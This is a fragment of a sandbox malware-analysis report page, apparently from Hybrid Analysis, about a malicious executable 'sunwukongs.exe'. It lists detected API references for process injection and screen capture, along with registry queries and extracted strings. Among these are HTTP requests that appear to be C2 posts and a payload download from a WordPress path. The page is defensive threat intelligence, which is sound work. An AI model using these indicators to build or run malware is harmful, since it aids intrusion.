26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 6b:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T481,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Lazy.Generic Sample 711199755fc5… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 711199755fc5…. Malware family: Lazy.Generic. Threat score 100/100. 4/27 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685","keywords":["Malicious","Lazy.Generic","malware analysis","sandbox report","threat intelligence","711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685"],"about":{"@type":"SoftwareApplication","name":"sunwukongs.exe","applicationCategory":["peexe","executable"],"identifier":"711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Lazy.Generic","antivirusDetections":{"malicious":4,"total":27},"behavioralIndicators":{"malicious":12,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T759,Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00000372.00000000.186192.0046B000.00000004.mdmp, 00000000-00000372.00000001.188111.0046B000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00000372.00000000.186192.0046B000.00000004.mdmp, 00000000-00000372.00000001.188111.0046B000.00000004.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; Source: "00000000-00000372.00000000.186192.0046B000.00000004.mdmp, 00000000-00000372.00000001.188111.0046B000.00000004.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.03764000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "NtAllocateVirtualMemory" (Indicator: "AllocateVirtualMemory"; Source: "00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp") Found reference to API "NtWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; Source: "00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp") Found reference to API "NtWriteVirtualMemory" (Indicator: "NtWriteVirtualMemory"; Source: "00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp") Found reference to API "NtAllocateVirtualMemory" (Indicator: "AllocateVirtualMemory"; Source: "00000000-00006328.00000001.191032.40024000.00000002.mdmp, 00000000-00006328.00000001.191032.AE880000.00000004.mdmp")28:T946,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000372.00000000.186192.0046B000.00000004.mdmp, 00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp, 00000000-00000372.00000001.188111.0046B000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000372.00000000.186192.0046B000.00000004.mdmp, 00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp, 00000000-00000372.00000001.188111.0046B000.00000004.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp, 00000000-00000372.00000001.188111.03764000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006328.00000001.191032.40024000.00000002.mdmp, 00000000-00006328.00000001.191032.AE880000.00000004.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00006328.00000001.191032.40024000.00000002.mdmp, 00000000-00006328.00000001.191032.AE880000.00000004.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006328.00000001.191032.40024000.00000002.mdmp, 00000000-00006328.00000001.191032.AE880000.00000004.mdmp")29:T6fb,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000372.00000000.186192.0046B000.00000004.mdmp, 00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp, 00000000-00000372.00000001.188111.0046B000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000372.00000000.186192.0046B000.00000004.mdmp, 00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp, 00000000-00000372.00000001.188111.0046B000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000372.00000000.186192.0046B000.00000004.mdmp, 00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp, 00000000-00000372.00000001.188111.0046B000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006328.00000001.191032.40024000.00000002.mdmp, 00000000-00006328.00000001.191032.AE880000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006328.00000001.191032.40024000.00000002.mdmp, 00000000-00006328.00000001.191032.AE880000.00000004.mdmp")2a:T859,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp, 00000000-00000372.00000001.188111.0371A000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp, 00000000-00000372.00000001.188111.0371A000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found string "aAbBcCdDeFgGhHIjmMnprRStTuUVwWxXyYzZABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp") Found string "aAbBcCdDeFgGhHIjmMnprRStTuUVwWxXyYzZABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00006328.00000001.191032.40024000.00000002.mdmp, 00000000-00006328.00000001.191032.AE880000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00006328.00000001.191032.40024000.00000002.mdmp, 00000000-00006328.00000001.191032.AE880000.00000004.mdmp")2b:T7b9,"http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000372.00000002.188815.06830000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00000372.00000002.188815.06830000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00000372.00000002.188815.06D20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000372.00000002.188815.06D20000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00000372.00000002.188815.06D20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0e>0<0:4http://crl3.digicert.com/digicertassuredidrootca.crl0jz/-5fjitwz\t" - Source: "00000000-00000372.00000002.188815.06D20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0" - Source: "00000000-00000372.00000002.188815.06D20000.00000004.mdmp") Found URL "http://ocsp.digicert.com0]qhttp://cacerts.digicert.com/digicerttrustedg4timestampingrsa4096sha2562025ca1.crt0_x0v0tnhttp://crl3.digicert.com/digicerttrustedg4timestampingrsa4096sha2562025ca1.crl0" - Source: "00000000-00000372.00000002.188815.06D20000.00000004.mdmp") Found URL "https://www.kingandsons.io0v$^x?d!pc\0" - Source: "00000000-00000372.00000002.188815.06D20000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006328.00000000.189112.AE8D0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006328.00000001.191032.AE8D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00006328.00000001.191032.B0BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006328.00000001.191032.B0BF0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006328.00000001.191032.B0BF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006328.00000001.191032.B0BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006328.00000001.191032.B0BF0000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006328.00000001.191032.B0BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006328.00000001.191032.B0BF0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006328.00000001.191032.B0BF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006328.00000001.191032.B0BF0000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=seyn6nrfrvl2ooriyhuwk9f8w73r3jfinozzo%2bn%2fdvrjvxgtzdv3fhhtxjxhttjsq8pik5refouzi7idvgqu0a5wv5jtbabor5ue8yzmmydrlayycbysc%2biuhzr7ki8rwzh4xlzjys829g%3d%3d" - Source: "00000000-00006328.00000001.191032.B0BF0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006328.00000002.192952.AE8D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00006328.00000002.192952.B0BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006328.00000002.192952.B0BF0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006328.00000002.192952.B0BF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006328.00000002.192952.B0BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006328.00000002.192952.B0BF0000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006328.00000002.192952.B0BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006328.00000002.192952.B0BF0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006328.00000002.192952.B0BF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006328.00000002.192952.B0BF0000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=seyn6nrfrvl2ooriyhuwk9f8w73r3jfinozzo%2bn%2fdvrjvxgtzdv3fhhtxjxhttjsq8pik5refouzi7idvgqu0a5wv5jtbabor5ue8yzmmydrlayycbysc%2biuhzr7ki8rwzh4xlzjys829g%3d%3d" - Source: "00000000-00006328.00000002.192952.B0BF0000.00000004.mdmp")54:T644,Found string "POST /c3647b9e019546539abe.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.0371A000.00000004.mdmp") Found string "Content-Length132POST /c3647b9e019546539abe.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp") Found string "647b9e019546539abe.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.03764000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00000372.00000001.188111.037B5000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found string "e/Decred.exe HTTP/1.1%" (Indicator: "HTTP/1.1"; Source: "00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found string "GET /wp-includes/Text/Diff/Engine/Decred.exe HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found string "POST / HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00006328.00000001.191032.AE8D0000.00000004.mdmp, 00000000-00006328.00000002.192952.AE8D0000.00000004.mdmp") Found string "Content-Length52POST / HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00006328.00000001.191032.AE8D0000.00000004.mdmp, 00000000-00006328.00000002.192952.AE8D0000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00006328.00000001.191032.AE8D0000.00000004.mdmp, 00000000-00006328.00000002.192952.AE8D0000.00000004.mdmp")55:T7a8,Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.0371A000.00000004.mdmp") Found string "B+ncalrpc:[OLE819E7DB42AF15756000791AAC950]" (Indicator: "ncalrpc"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp") Found string "+ncalrpc:[OLE023E01B59D1952795231B5742E56]" (Indicator: "ncalrpc"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found string "+ncalrpc:[OLE819E7DB42AF15756000791AAC950]" (Indicator: "ncalrpc"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.0371A000.00000004.mdmp") Found string "767a036-0d22-48aa-ba69-b619480f38cb@ncalrpc:" (Indicator: "ncalrpc"; Source: "00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found string "+ncalrpc:[OLEC5DE028BB2442C2D267DA645D080]" (Indicator: "ncalrpc"; Source: "00000000-00006328.00000001.191032.AE8D0000.00000004.mdmp, 00000000-00006328.00000002.192952.AE8D0000.00000004.mdmp") Found string "B+ncalrpc:[OLECD63DB9C50C428A9F32DE23BA853]" (Indicator: "ncalrpc"; Source: "00000000-00006328.00000001.191032.AE8D0000.00000004.mdmp, 00000000-00006328.00000002.192952.AE8D0000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00006328.00000001.191032.AE8D0000.00000004.mdmp, 00000000-00006328.00000002.192952.AE8D0000.00000004.mdmp") Found string "+ncalrpc:[OLECD63DB9C50C428A9F32DE23BA853]" (Indicator: "ncalrpc"; Source: "00000000-00006328.00000001.191032.AE8D0000.00000004.mdmp, 00000000-00006328.00000002.192952.AE8D0000.00000004.mdmp") Found string "ncalrpc:" (Indicator: "ncalrpc"; Source: "00000000-00006328.00000001.191032.AE8D0000.00000004.mdmp, 00000000-00006328.00000002.192952.AE8D0000.00000004.mdmp")56:T4f6,Found string ":\WINDOWS\SysWOW64\Kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00006328.00000001.191032.AE8D0000.00000004.mdmp, 00000000-00006328.00000002.192952.AE8D0000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00006328.00000001.191032.AE8D0000.00000004.mdmp, 00000000-00006328.00000002.192952.AE8D0000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00006328.00000001.191032.AE8D0000.00000004.mdmp, 00000000-00006328.00000002.192952.AE8D0000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00006328.00000001.191032.AE8D0000.00000004.mdmp, 00000000-00006328.00000002.192952.AE8D0000.00000004.mdmp")57:Tf46,Found reference to API "GetDC" (Indicator: "GetDC"; File: "711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; File: "711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00000372.00000000.186192.0046B000.00000004.mdmp, 00000000-00000372.00000001.188111.0046B000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00000372.00000000.186192.0046B000.00000004.mdmp, 00000000-00000372.00000001.188111.0046B000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.036F0000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.036F0000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.036F0000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.036F0000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.036F0000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.036F0000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.036F0000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.036F0000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.0371A000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.0371A000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp")58:T571,Found reference to API "RtlGetVersion" (Indicator: "RtlGetVersion"; Source: "00000000-00000372.00000000.186192.0046B000.00000004.mdmp, 00000000-00000372.00000001.188111.0046B000.00000004.mdmp") Found reference to API "108913123996,1896,3025,,RtlGetNtProductType,NTDLL.dll,"00:49:09.828",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "109042957925,1896,3025,,RtlGetNtProductType,NTDLL.dll,"00:49:09.890",RX=0,PX=0" (Indicator: "RtlGetNtProductType"; Source: "00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "108913200638,1896,3024,,RtlGetVersion,NTDLL.dll,"00:49:09.828",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "109625513845,7176,3024,,RtlGetVersion,NTDLL.dll,"00:49:10.140",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "108185723178,1896,3024,,RtlGetVersion,NTDLL.dll,"00:49:09.531",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00000372.00000002.188815.036F0000.00000004.mdmp") Found reference to API "109043038213,1896,3024,,RtlGetVersion,NTDLL.dll,"00:49:09.890",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00000372.00000002.188815.036F0000.00000004.mdmp")59:T4ec,Found registry query API: "RegOpenKeyExW" in "00000000-00000372.00000000.186192.0046B000.00000004.mdmp, 00000000-00000372.00000001.188111.0046B000.00000004.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00000372.00000000.186192.0046B000.00000004.mdmp, 00000000-00000372.00000001.188111.0046B000.00000004.mdmp" Found registry query API: "RegEnumKeyExA" in "00000000-00000372.00000000.186192.0046B000.00000004.mdmp, 00000000-00000372.00000001.188111.0046B000.00000004.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.0371A000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.0371A000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp" Found registry query API: "RegEnumValueA" in "00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp" Found registry query API: "RegGetValueA" in "00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.00457000.00000002.mdmp"5a:T882,"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.036F0000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00000372.00000002.188815.036F0000.00000004.mdmp, 00000000-00000372.00000002.188815.06830000.00000004.mdmp, 00000000-00000372.00000002.188815.06D20000.00000004.mdmp\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00006328.00000001.191032.AE8D0000.00000004.mdmp, 